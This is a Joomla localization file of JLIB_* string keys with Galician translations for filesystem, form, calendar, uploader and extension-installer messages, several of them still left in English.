JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :folder: a ruta non é un cartafol. Ruta: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Fallou ao obter o tamaño do ficheiro. Isto pode que non funcionar para todos os fluxos!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="Ficheiro non aberto" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Nome do ficheiro non definido" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Aviso: non se escribiu dato algún" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Fallo ao abrir para escribir: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Fallo ao abrir para ler: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Non é un ficheiro cargado!" JLIB_FORM_BUTTON_CLEAR="Limpar" JLIB_FORM_BUTTON_SELECT="Escoller" JLIB_FORM_CHANGE_IMAGE="Mudar imaxe" JLIB_FORM_CHANGE_IMAGE_BUTTON="Mudar a imaxe do botón" JLIB_FORM_CHANGE_USER="Escoller usuario" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="O atributo de extensión está baleiro no campo da categoría" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Tipo de elemento descoñecido: %s" JLIB_FORM_ERROR_NO_DATA="Sen datos" JLIB_FORM_ERROR_VALIDATE_FIELD="Campo XML non válido" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="O ficheiro XML non foi cargado" JLIB_FORM_INVALID_FORM_OBJECT="Obxecto de formulario non válido: :%s" JLIB_FORM_INVALID_FORM_RULE="Regra de formulario non válida: :%s" JLIB_FORM_MEDIA_PREVIEW_ALT="Selected image" JLIB_FORM_MEDIA_PREVIEW_EMPTY="Non hai ningunha imaxe escollida. " JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Selected image" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Previsualización" JLIB_FORM_SELECT_USER="Escoller un usuario" JLIB_FORM_VALIDATE_FIELD_INVALID="Campo non válido: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Campo requirido: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Non se atopa a regra de validación: %s" JLIB_FORM_VALUE_CACHE_APC="Alternative PHP Cache" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="Ficheiro" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_WINCACHE="Caché Windows" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Alternative PHP Cache" JLIB_FORM_VALUE_SESSION_DATABASE="Base de datos" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_NONE="Ningún" JLIB_FORM_VALUE_SESSION_WINCACHE="Caché Windows" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Tempo Universal, Coordenado (UTC)" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="ACL" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Táboa" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="Táboa de sumario ACL" JLIB_HTML_ACCESS_SUMMARY_DESC="Amosa embaixo unha vista xeral da configuración dos permisos deste artigo. Prema nas lapelas de arriba para personalizar estas opcións por acción." JLIB_HTML_ACCESS_SUMMARY="Sumario" JLIB_HTML_ADD_TO_ROOT="Engadir á raíz" JLIB_HTML_ADD_TO_THIS_MENU="Engadir a este menú" JLIB_HTML_BATCH_ACCESS_LABEL="Defina o nivel de acceso" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Non facer unha selección manterá os niveis de acceso orixinais durante o procesamento." JLIB_HTML_BATCH_COPY="Copiar" JLIB_HTML_BATCH_LANGUAGE_LABEL="Escolla idioma" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Non facer unha selección manterá o idioma orixinal durante o procesamento." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Manter idioma orixinal -" JLIB_HTML_BATCH_MENU_LABEL="Escoller categoría para mover/copiar" JLIB_HTML_BATCH_MOVE="Mover" JLIB_HTML_BATCH_NOCHANGE="- Manter niveis de acceso orixinais -" JLIB_HTML_BATCH_USER_LABEL="Definir usuario" JLIB_HTML_BATCH_USER_LABEL_DESC="Non facer unha selección manterá o usuario orixinal durante o procesamento." JLIB_HTML_BATCH_USER_NOCHANGE="- Manter usuario orixinal -" JLIB_HTML_BATCH_USER_NOUSER="Ningún usuario" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="Sobre o calendario" JLIB_HTML_BEHAVIOR_CLOSE="Pechar" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Escoller data:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Amosar %s primeiro" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Arrastrar para mover" JLIB_HTML_BEHAVIOR_GO_TODAY="Ir a hoxe" JLIB_HTML_BEHAVIOR_GREEN="Verde" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Manteña o botón do rato sobre un dos botóns para unha escolla mais rápida." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Utilice os botóns < e > para mudar o mes\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Prema para ir ao próximo mes. Prema e manteña para unha lista dos meses." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Prema para ir ao próximo ano. Prema e manteña para unha lista dos anos." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Prema para ir ao mes anterior . Prema e manteña para unha lista dos meses." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Prema para ir ao ano anterior . Prema e manteña para unha lista dos anos." JLIB_HTML_BEHAVIOR_SELECT_DATE="Escolla unha data." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Maiús-)Prema ou arrastre para mudar o valor." JLIB_HTML_BEHAVIOR_TIME="Hora:" JLIB_HTML_BEHAVIOR_TODAY="Hoxe" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%a, %b %e" JLIB_HTML_BEHAVIOR_WK="wk" JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Use os botóns « e » para mudar o ano\n" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_HTTPSTATUS="Resposta non válida do servidor" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_IOERROR="Erro de transferencia" JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_SECURITYERROR="Erro de seguranza" JLIB_HTML_BEHAVIOR_UPLOADER_UPLOAD_COMPLETED="Carga completa." JLIB_HTML_BEHAVIOR_UPLOADER_FILE_SUCCESSFULLY_UPLOADED="Ficheiro cargado con éxito." JLIB_HTML_BEHAVIOR_UPLOADER_ERROR_OCCURRED="Ocorreu un erro: {error}" JLIB_HTML_BEHAVIOR_UPLOADER_ALL_FILES="Todos os ficheiros (*.*)" JLIB_HTML_BEHAVIOR_UPLOADER_PROGRESS_OVERALL="Progresión global {total}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_TITLE="Cargar ficheiros" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE="Eliminar" JLIB_HTML_BEHAVIOR_UPLOADER_REMOVE_TITLE="Eliminar título" JLIB_HTML_BEHAVIOR_UPLOADER_FILENAME="{name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_FILE="Ficheiro actual: {name}" JLIB_HTML_BEHAVIOR_UPLOADER_CURRENT_PROGRESS="Progreso actual" JLIB_HTML_BEHAVIOR_UPLOADER_FILE_ERROR="Erro de ficheiro" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_DUPLICATE="O ficheiro xa existe" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTMAX="Demasiados ficheiros" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_FILELISTSIZEMAX="Tamaño total de carga demasiado grande" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMAX="O ficheiro é moi grande" JLIB_HTML_BEHAVIOR_UPLOADER_VALIDATION_ERROR_SIZELIMITMIN="O ficheiro é moi pequeno" JLIB_HTML_BUTTON_BASE_CLASS="Non foi posíbel cargar a clase base do botón." JLIB_HTML_BUTTON_NO_LOAD="Non foi posíbel cargar o botón %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Botón non definido para o tipo = %s" JLIB_HTML_CALENDAR="Calendario" JLIB_HTML_CHECKED_OUT="Destrabado" JLIB_HTML_CHECKIN="Trabar" JLIB_HTML_CLOAKING="Este enderezo de correo está a ser protexido dos robots de correo lixo. Precisa activar o JavaScript para velo." JLIB_HTML_DATE_RELATIVE_DAYS="%s days ago" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s día atrás" JLIB_HTML_DATE_RELATIVE_DAYS_0="%s days ago" JLIB_HTML_DATE_RELATIVE_HOURS="%s hours ago" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hora atrás" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s hours ago" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Menos de un minuto atrás" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutes ago" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minuto atrás" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutes ago" JLIB_HTML_DATE_RELATIVE_WEEKS="%s weeks ago" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s semana atrás" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s weeks ago" JLIB_HTML_EDITOR_CANNOT_LOAD="Non é posíbel cargar o editor" JLIB_HTML_END="Fin" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Función non compatíbel." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s non atopado no ficheiro." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s non compatíbel. O ficheiro non se atopou." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s non compatíbel." JLIB_HTML_MOVE_DOWN="Mover para embaixo" JLIB_HTML_MOVE_UP="Mover para arriba" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="Non hai parámetros para este elemento" JLIB_HTML_NO_RECORDS_FOUND="Non se atopou ningún rexistro" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Páxina %s de %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Marque primeiro unha escolla na lista" JLIB_HTML_PUBLISH_ITEM="Publicar o elemento" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Publicado, máis expirado" JLIB_HTML_PUBLISHED_FINISHED="Fin: %s" JLIB_HTML_PUBLISHED_ITEM="Publicado e actual" JLIB_HTML_PUBLISHED_PENDING_ITEM="Publicado, máis pendente" JLIB_HTML_PUBLISHED_START="Comezar: %s" JLIB_HTML_RESULTS_OF="Resultados %s - %s de %s" JLIB_HTML_SAVE_ORDER="Gardar orde" JLIB_HTML_SELECT_STATE="Escoller estado" JLIB_HTML_START="Comezo" JLIB_HTML_UNPUBLISH_ITEM="Despublicar o elemento" JLIB_HTML_VIEW_ALL="Ver todos" JLIB_HTML_SETDEFAULT_ITEM="Definir predeterminado" JLIB_HTML_UNSETDEFAULT_ITEM="Retirar de predeterminado" JLIB_INSTALLER_ABORT="Interromper a instalación do idioma: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="A extensión está instalada" JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Erro ao crear menús de instalación" JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Instalar compoñente: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar compoñente: fallou a rutina personalizada de instalación" JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Instalar compoñente: non foi posíbel copiar o ficheiro PHP do manifesto." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Instalar compoñente: non foi posíbel copiar o ficheiro PHP de instalación." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Instalar compoñente: non foi posíbel copiar o ficheiro PHP de desinstalación." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Instalar compoñente: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Instalar compoñente: erro SQL no ficheiro %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Actualizar compoñente: O ficheiro XML non contén ningún elemento da administración" JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Actualizar compoñente: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Actualizar compoñente: non foi posíbel copiar o ficheiro PHP de manifesto." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Actualizar compoñente: non foi posíbel copiar o ficheiro PHP de instalación." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Actualizar compoñente: non foi posíbel copiar o ficheiro PHP de desinstalación." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Actualizar compoñente: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Actualizar compoñente: erro SQL no ficheiro %s" JLIB_INSTALLER_ABORT_DEBUG="Instalación interrompida inesperadamente:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Non é posíbel detectar o ficheiro de manifesto" JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="A extensión non é válida" JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Instalar ficheiros: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar ficheiros: fallou a rutina personalizada de instalación" JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Instalar ficheiros: fallou ao buscar o cartafol fonte: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Ficheiros %1$s: erro SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Instalar ficheiros: xa existe outra extensión co mesmo nome." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Actualizar ficheiros: erro SQL no ficheiro %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Instalar biblioteca: a biblioteca xa está instalada" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Instalar biblioteca: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Instalar biblioteca: fallou ao crear o cartafol: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Instalar biblioteca: non especificou ningún ficheiro da biblioteca" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Instalar biblioteca: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Fallo ao cargar os detalles da extensión" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Método non compatíbel para este tipo de extensión" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Método non compatíbel para este tipo de extensión: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Instalar módulo: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Módulo %1$s: fallou ao crear o cartafol: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar módulo: fallou a rutina personalizada de instalación" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Módulo %1$s: outro módulo xa está a usar o cartafol: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Instalar módulo: non foi posíbel copiar o ficheiro PHP de manifesto." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Módulo %s: non especificou ningún ficheiro de módulo" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Módulo %1$s: erro SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Módulo %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Desinstalar módulo: tipo de cliente descoñecido [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Módulo %1$s: tipo de cliente descoñecido [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="A ruta de instalación non existe" JLIB_INSTALLER_ABORT_NOUPDATEPATH="A ruta de actualización non existe" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Instalar paquete: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Instalar paquete: fallou ao crear o cartafol: %s" JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Paquete %1$s: ocorreu un erro ao instalar a extensión: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Paquete %s: non hai ficheiros para instalar!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Paquete %s: non especificou ningún ficheiro de paquete" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Instalar paquete: %s" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Engadido %1$s: o engadido %2$s xa existe" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Engadido %s: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Engadido %1$s: fallou ao crear o cartafol: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Instalar engadido: fallou a rutina personalizada de instalación" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Engadido %1$s: outro engadido xa está a usar o cartafol: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Engadido %s: non foi posíbel copiar o ficheiro PHP de manifesto." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Engadido %s: non especificou ningún ficheiro de engadido" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Engadido %1$s : %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Engadido %1$s: erro SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Desinstalar engadido: erro SQL no ficheiro %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Actualización do manifesto en caché fallida: a extensión non está actualmente instalada." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Actualización do manifesto en caché fallida: a extensión non é válida." JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Instalar tema: o tema xa está instalado" JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Instalar tema: xa hai un tema a usar o cartafol: %s. Está a tentar instalar de novo o mesmo tema?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Instalar tema: non foi posíbel copiar o ficheiro de configuración." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Instalar tema: fallou ao crear o cartafol: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Instalar tema: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Instalar tema: tipo de cliente descoñecido [%s]" JLIB_INSTALLER_DEFAULT_STYLE="%s - Predeterminado" JLIB_INSTALLER_DISCOVER="Descubrir" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Instalar compoñente por descubrimento: fallou ao almacenar os detalles do compoñente" JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Instalar compoñente: o ficheiro XML non contén un elemento de administración" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Instalar compoñente: outro compoñente xa está a usar o cartafol: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Instalar compoñente: outro compoñente xa está a usar o cartafol: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Instalar compoñente: fallou ao crear o cartafol de administración: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Instalar compoñente: fallou ao crear o cartafol da portada: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Actualizar caché de manifesto do compoñente: fallou ao almacenar os detalles do compoñente" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Non foi posíbel eliminar os menús da administración." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Desinstalar compoñente: o código de desinstalación personalizada executouse sen éxito" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Desinstalar compoñente: non é posíbel eliminar as categorías do compoñente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Desinstalar compoñente: non é posíbel desinstalar. Borre manualmente." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar compoñente: extensión descoñecida" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Desinstalar compoñente: non é posíbel eliminar o cartafol de administración do compoñente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Desinstalar compoñente: non é posíbel eliminar o cartafol do compoñente" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Desinstalar compoñente: campo de opción baleiro, non é posíbel eliminar os ficheiros" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Desinstalar compoñente: erro SQL no ficheiro %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Desinstalar compoñente: tentando desinstalar un compoñente do núcleo" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Actualizar compoñente: fallou ao crear o cartafol de administración: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Actualizar compoñente: fallou ao crear o cartafol da portada: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Instalar: fallou ao crear o cartafol: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Fallou ao crear o cartafol [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Formato de instalación obsoleto (cliente=\"_QQ_\"ambos\"_QQ_\"), no futuro empregue o instalador de paquetes" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Erro conectando ao servidor: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Instalar: fallou ao copiar o ficheiro %1$s a %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Instalar: fallou ao copiar o cartafol %1$s a %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Fallou lendo o recurso de rede: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Instalar: o ficheiro xa existe %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Desinstalar ficheiros: ficheiro de manifesto non válido" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar ficheiros: ficheiro de manifesto non válido ou non atopado." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Desinstalar ficheiros: non foi posíbel cargar a entrada da extensión" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Desinstalar ficheiros: non foi posíbel cargar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Desinstalar ficheiros: erro SQL no ficheiro %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="Desinstalar ficheiros: tentando de desinstalar ficheiros do núcleo" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Outra extensión xa está a usar o cartafol [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Instalar idioma por descubrimento: fallou ao almacenar os detalles do idioma" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="Este idioma non pode ser desinstalado mentres que estea definido como idioma predeterminado." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Desinstalar idioma: non é posíbel eliminar o cartafol do idioma especificado." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Desinstalar idioma: o elemento está baleiro, non é posíbel desinstalar os ficheiros" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Desinstalar idioma: a ruta do idioma está baleira, non é posíbel desinstalar os ficheiros" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="Este idioma non pode ser desinstalado. Está protexido na base de datos (normalmente é o en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Instalar biblioteca por descubrimento: fallou ao almacenar os detalles da biblioteca" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Desinstalar biblioteca: ficheiro de manifesto non válido" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar biblioteca: ficheiro de manifesto non válido ou non atopado." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Desinstalar biblioteca: non foi posíbel cargar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Desinstalar biblioteca: tentando de desinstalar ficheiros do núcleo" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller:: Instalar: fallou a cargar o ficheiro XML: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Instalar módulo por descubrimento: fallou ao almacenar os detalles do módulo" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Actualizar a caché do manifesto do módulo: fallou ao almacenar os detalles do módulo" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar módulo: extensión descoñecida" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Desinstalar módulo: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar módulo: ficheiro de manifesto non válido ou non atopado." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Desinstalar módulo: erro SQL no ficheiro %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Desinstalar módulo: tentando de desinstalar un módulo do núcleo: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="Non existe ningún paquete de núcleo para este idioma [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Instalar: o ficheiro non existe %s" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="O paquete non ten especificada unha etiqueta de idioma. Está a tentar instalar un antigo paquete de idioma?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Instalar: non é posíbel atopar o ficheiro XML de configuración de Joomla!" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Instalar: non é posíbel atopar o ficheiro XML de configuración" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Desinstalar paquete: ficheiro de manifesto non válido" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar paquete: ficheiro de manifesto non válido ou non atopado: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Desinstalar paquete: non foi posíbel cargar o ficheiro de manifesto" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Desinstalar paquete: detectáronse erros, non se eliminou o ficheiro de manifesto!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Desinstalar paquete: non se atopou o ficheiro de manifesto" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Desinstalar paquete: esta extensión pode que xa estea desinstalada ou que non se desinstalase axeitadamente: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Desinstalar paquete: tentando de desinstalar paquete do núcleo" 